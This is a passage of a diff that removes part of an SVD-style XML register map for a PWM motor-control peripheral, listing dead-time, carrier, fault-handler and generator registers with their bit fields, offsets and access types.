-              <name>UT0</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEZ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEP</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEB</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT0_CFG</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00018000</resetValue>
-          <fields>
-            <field>
-              <name>DT0_FED_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_RED_UPMETHOD</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_DEB_MODE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_A_OUTSWAP</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_B_OUTSWAP</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_RED_INSEL</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_FED_INSEL</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_RED_OUTINVERT</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_FED_OUTINVERT</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_A_OUTBYPASS</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_B_OUTBYPASS</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0_CLK_SEL</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT0_FED_CFG</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DT0_FED</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT0_RED_CFG</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DT0_RED</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CARRIER0_CFG</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CARRIER0_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER0_PRESCALE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER0_DUTY</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER0_OSHTWTH</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER0_OUT_INVERT</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER0_IN_INVERT</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH0_CFG0</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH0_SW_CBC</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_F2_CBC</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_F1_CBC</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_F0_CBC</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_SW_OST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_F2_OST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_F1_OST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_F0_OST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_A_CBC_D</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_A_CBC_U</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_A_OST_D</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_A_OST_U</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_B_CBC_D</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_B_CBC_U</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_B_OST_D</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_B_OST_U</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH0_CFG1</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH0_CLR_OST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_CBCPULSE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_FORCE_CBC</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH0_FORCE_OST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH0_STATUS</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH0_CBC_ON</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH0_OST_ON</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN1_STMP_CFG</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN1_A_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_B_UPMETHOD</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_A_SHDW_FULL</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_B_SHDW_FULL</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN1_TSTMP_A</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN1_A</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN1_TSTMP_B</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN1_B</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN1_CFG0</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN1_CFG_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_T0_SEL</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_T1_SEL</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN1_FORCE</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000020</resetValue>
-          <fields>
-            <field>
-              <name>GEN1_CNTUFORCE_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_A_CNTUFORCE_MODE</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_B_CNTUFORCE_MODE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_A_NCIFORCE</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_A_NCIFORCE_MODE</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_B_NCIFORCE</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN1_B_NCIFORCE_MODE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN1_A</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UTEZ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEP</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEB</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT0</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEZ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEP</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEB</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN1_B</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UTEZ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEP</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEB</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT0</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEZ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEP</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEB</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT1_CFG</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00018000</resetValue>
-          <fields>
-            <field>
-              <name>DT1_FED_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_RED_UPMETHOD</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_DEB_MODE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_A_OUTSWAP</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_B_OUTSWAP</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_RED_INSEL</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_FED_INSEL</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_RED_OUTINVERT</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_FED_OUTINVERT</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_A_OUTBYPASS</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_B_OUTBYPASS</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1_CLK_SEL</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT1_FED_CFG</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DT1_FED</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DT1_RED_CFG</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DT1_RED</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CARRIER1_CFG</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CARRIER1_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER1_PRESCALE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER1_DUTY</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER1_OSHTWTH</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER1_OUT_INVERT</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER1_IN_INVERT</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH1_CFG0</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH1_SW_CBC</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_F2_CBC</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_F1_CBC</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_F0_CBC</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_SW_OST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_F2_OST</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_F1_OST</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_F0_OST</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_A_CBC_D</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_A_CBC_U</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_A_OST_D</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_A_OST_U</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_B_CBC_D</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_B_CBC_U</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_B_OST_D</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_B_OST_U</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH1_CFG1</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH1_CLR_OST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_CBCPULSE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_FORCE_CBC</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FH1_FORCE_OST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FH1_STATUS</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FH1_CBC_ON</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FH1_OST_ON</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN2_STMP_CFG</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN2_A_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_B_UPMETHOD</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_A_SHDW_FULL</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_B_SHDW_FULL</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN2_TSTMP_A</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN2_A</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN2_TSTMP_B</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN2_B</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN2_CFG0</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GEN2_CFG_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_T0_SEL</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_T1_SEL</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN2_FORCE</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000020</resetValue>
-          <fields>
-            <field>
-              <name>GEN2_CNTUFORCE_UPMETHOD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_A_CNTUFORCE_MODE</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_B_CNTUFORCE_MODE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_A_NCIFORCE</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_A_NCIFORCE_MODE</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_B_NCIFORCE</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GEN2_B_NCIFORCE_MODE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN2_A</name>
-          <addressOffset>0xC0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UTEZ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEP</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEB</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT0</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UT1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEZ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEP</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DTEB</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT0</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DT1</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GEN2_B</name>
-          <addressOffset>0xC4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>UTEZ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEP</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UTEA</name>
